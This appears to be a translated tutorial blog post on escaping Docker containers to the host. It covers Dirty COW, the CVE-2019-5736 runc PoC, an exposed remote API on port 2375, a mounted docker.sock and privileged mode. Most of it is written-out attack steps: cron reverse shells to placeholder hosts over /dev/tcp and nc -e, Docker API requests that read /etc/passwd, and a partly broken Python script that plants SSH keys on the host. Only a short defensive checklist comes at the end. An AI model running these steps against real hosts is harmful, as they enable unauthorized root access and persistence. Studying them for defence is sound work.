Docker escape

Category: Tag:

Docker is one of the most widely used open source container technologies today, with the advantages of high efficiency and ease of use. However, if improper security policies are adopted when using Docker, the system may be compromised.

Docker escape reason
The current reasons for Docker escape can be divided into three types:

Caused by a kernel vulnerability-Dirty COW (CVE-2016-5195)
Caused by Docker software design-CVE-2019-5736, CVE-2019-14271
Caused by improper configuration-enable privileged (privileged mode) + host directory mount (file mount), capabilities (capabilities) mechanism, sock communication mode

Docker environment judgment
In actual combat, you first need to determine whether the server is a docker environment. There are two commonly used judgment methods.
1. Whether there is a .dockerenv file
Exist in docker environment: ls -alh /.dockerenv file

Non-docker environment, no .dockerenv file

2. Query the cgroup information of the system process
cat /proc/1/cgroup in docker environment

Cat /proc/1/cgroup in non-docker environment

lab environment
Host: Alibaba Cloud centos8
Docker version: 18.06.0-ce
Mirror version: centos7

Environment setup
Run sh file under centos
https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw/

Automatically install the docker environment, run centos and ubuntu images

View container

docker ps -a
docker ps -a -q # See which containers are stopped

Start the container

docker start containerID

Enter the container

docker exec -ti containerID /bin/bash

Kernel vulnerability
Dirty COW vulnerability escape
Dirty Cow (CVE-2016-5195) is a privilege escalation vulnerability in the Linux kernel. The memory subsystem of the Linux kernel has a race condition (race condition) in processing copy-on-write (Cow) that allows A malicious user escalates the right to obtain write access to other read-only memory maps.
A race condition means that the task execution sequence is abnormal, which may cause the application to crash or face the threat of attacker’s code execution. By exploiting this vulnerability, an attacker can elevate privileges in the target system and even gain root privileges. VDSO is Virtual Dynamic Shared Object (Virtual Dynamic Shared Object), that is, the virtual .so provided by the kernel. The .so file is located in the kernel instead of on the disk. When the program starts, the kernel maps the memory page containing a certain .so into its memory space, and the corresponding program can use the functions in it as a normal .so.
The “clock_gettime()” function in the VDSO memory space can be used in the container to attack the dirty cow vulnerability, crash the system and obtain a root shell, and browse files on the host outside the container.
Docker and the host share the kernel. The Alibaba Cloud environment built does not have Dirty Cow vulnerabilities. You can use the vulnerable host to build or use the i Chunqiu target machine to reproduce. https://www.ichunqiu.com/experiment/detail?id=100297&source=2

1. Run the docker image

docker run --name=test -p 1234:1234 -itd dirtycow /bin/bash   //Use local port 1234 to connect to port 1234 of docker to run the dirtycow image, and temporarily name it test

2. Enter the internal operation of the mirror

docker exec -it test /bin/bash 

3. Run vulnerability exp
Download link: https://github.com/scumjr/dirtycow-vdso

cd /dirtycow-vdso/    //Enter the dirtycow-vdso folder
make       //Use the make command to compile the .c file
./0xdeadbeef     //Run 0xdeadbeef file

If it displays successfully, it means success.

The shell of the host was successfully obtained.

Container service defects
CVE-2019-5736 vulnerability escape
1. Vulnerability principle:
Docker, containerd, or other runc-based containers have security vulnerabilities at runtime. Attackers can obtain the file handle of the host runc when the host is executed through a specific container image or exec operation and modify the runc binary file to obtain the host. The root execution authority.
2. Impact version:
Platform or product Affected version
Docker Version <18.09.2
runC Version <= 1.0-rc6
3. Vulnerability recurrence
First compile the go script to generate the attack payload
https://github.com/Frichetten/CVE-2019-5736-PoC
Modify the bounce address in the script to its own vps address.

Compile and generate payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

Copy the compiled files to the docker container.

docker cp main 78e0d8daa906:/home
docker exec -it 78e0d8daa906 /bin/bash
cd /home/
chmod 777 main
Run the main file, use nc to monitor the rebound port, and wait to start docker
nc received a rebound shell

Escapes caused by container service defects also include Docker cp CVE-2019-14271 and Docker build code execution CVE-2019-13139, which have certain restrictions when used. For specific principles and utilization, please refer to:
https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/
https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/

Docker escape caused by improper configuration
1. Unauthorized access to emote api
docker swarm is a tool for managing docker clusters. Master-slave management, communication via port 2375 by default. Binding a Docker Remote API service, you can operate Docker through HTTP, Python, and calling API.
When using the official recommended startup method

dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

If used on a host without other network access restrictions, the port will be exposed on the public network.

Exploitation of vulnerabilities:
1. First list all containers and get the id field
http://x.x.x.x:2375/containers/json
2. Then create an exec
POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188

{
  "AttachStdin": true,
  "AttachStdout": true,
  "AttachStderr": true,
  "Cmd": ["cat", "/etc/passwd"],
  "DetachKeys": "ctrl-p,ctrl-q",
  "Privileged": true,
  "Tty": true
}

Use burp to simulate post request sending and get the id parameter returned.

POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json

{
 "Detach": false,
 "Tty": false
}
3. Start exec, successfully execute the system command, and read the passwd file.
POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json

{
 "Detach": false,
 "Tty": false
}
Successfully obtained the command execution permission of the docker host, but still cannot escape to the host.
Try to get host permissions by writing scheduled tasks or writing ssh keys
1. Install Docker as a client in the container

apt-get install docker.io

2. View the host docker image information

docker -H tcp://x.x.x.x:2375 images

3. Start a container and put the host root directory in the nuoyan directory of the container

docker -H tcp://x.x.x.x:2375 run -it -v /:/nuoyan adafef2e596e /bin/bash 

4、Write a scheduled task reverse shell

echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/8877 0>&1' >> /nuoyan/var/spool/cron/root
5. Successfully obtain the host shell and escape successfully.
You can also use the written python script
Write ssh key

import socket
import sys
import re

#Open proxy
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 1081)
#socks.set_default_proxy(socks.SOCKS5, '127.0.0.1', 1081)
socket.socket = socks.socksocket

ip = '172.16.145.165'
cli = docker.DockerClient(base_url='tcp://'+ip+':2375', version='auto') 
#The port is not necessarily 2375. The version parameter is specified because the API version of the local machine and the remote host may be different. Specify auto to determine the version by yourself image = cli.images.list()[0]

#Read the generated public key
f = open('id_rsa_2048.pub', 'r')
sshKey = f.read()
f.close()

try:
    cli.containers.run(
        image=image.tags[0], 
        command='sh -c "echo '+sshKey+' >> /usr/games/authorized_keys"', #It’s stuck here for a long time. This is the correct and effective way of writing. Directly writing commands when there is redirection cannot be executed correctly. Remember to add sh -c
        volumes={'/root/.ssh':{'bind': '/usr/games', 'mode': 'rw'}}, #Find a directory that basically all environments have
        name='test' #Name the container for easy deletion later
    )
except docker.errors.ContainerError as e:
    print(e)

#Delete container
try:
    container = cli.containers.get('test')
    container.remove()
except Expection as e:
    continue

Write scheduled tasks

import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

2. docker.sock is mounted inside the container
Docker adopts the C/S architecture. Among the Docker commands we usually use, docker is the client, and the role of the server is played by the docker daemon. There are three communication methods between them:

1、unix:///var/run/docker.sock
2、tcp://host:port
3、fd://socketfd

Among them, using docker.sock for communication is the default method. When the process in the container needs to communicate with the Docker daemon during production, the container itself needs to mount the /var/run/docker.sock file.
Essentially, a process that can access the docker socket or connect to the HTTPS API can execute any command that the Docker service can run, and the Docker service running with root permissions can usually access the entire host system.
Therefore, when the container accesses the docker socket, we can maliciously manipulate it through communication with the docker daemon to complete the escape. If container A can access the docker socket, we can install the client (docker) inside it, interact with the host’s server (docker daemon) through docker.sock, run and switch to the insecure container B, and finally in container B Control the host in the middle.
Utilization process:
1. First run a container mounted /var/run/

docker run -it -v /var/run/:/host/var/run/ adafef2e596e /bin/bash

2. Look for the mounted sock file

find / -name docker.sock

3. Install Docker as a client in the container

apt-get install docker.io

4. View the host docker information

docker -H unix:///host/var/run/docker.sock info

5. Run a new container and mount the host root path

docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash 
6. Complete access to host resources under the /nuoyan path of the new container

7. Write the scheduled task file and reverse shell

echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/9988 0>&1' >> /nuoyan/var/spool/cron/root 
Successfully received the shell bounced by the host
3. Privilege mode
Privileged mode was introduced in Docker in version 0.6, allowing the root in the container to have root permissions on the external physical machine. Previously, the root user in the container only had the general user permissions on the external physical machine.
Use privileged mode to start the container, you can gain access to a large number of device files. Because when the administrator executes docker run –privileged, the Docker container will be allowed to access all devices on the host, and can execute the mount command to mount it.
When controlling a container started in privileged mode, the docker administrator can mount the external host disk device into the container through the mount command to obtain file read and write permissions for the entire host, and can also write scheduled tasks and other methods Execute commands on the host.
Utilization process:
1. First run a docker container in privileged mode
docker run -it --privileged d27b9ffc5667 /bin/bash
2. View the disk file
fdisk -l
3. vda1 exists in the /dev directory
4. Create a new directory and mount /dev/vda1 to the newly created directory
mkdir /nuoyan
mount /dev/vda1 /nuoyan

5. Write the scheduled task to the host

echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/2100 0>&1' >> /nuoyan/var/spool/cron/root
6. Turn on nc monitoring and successfully receive the shell rebound from the host

 

Defense against docker escape

1. Update the Docker version to 19.03.1 and higher-CVE-2019-14271, cover CVE-2019-5736
2. Runc version> 1.0-rc6
3. k8s cluster version>1.12
4. Linux kernel version>=2.6.22-CVE-2016-5195 (dirty cow)
5. Linux kernel version>=4.14——CVE-2017–1000405 (big dirty cow), no docker escape utilization process was found, but there is an escape risk
6. It is not recommended to run Docker service with root privileges
7. It is not recommended to start Docker in privileged mode
8. It is not recommended to mount the host directory to the container directory
9. It is not recommended to start the container with -cap-add=SYSADMIN. SYSADMIN means that the container process allows a series of system management operations such as mount and umount to be executed, and there is a risk of container escape

Reviews

There are no reviews yet.

Be the first to review “Docker escape”

Your email address will not be published. Required fields are marked *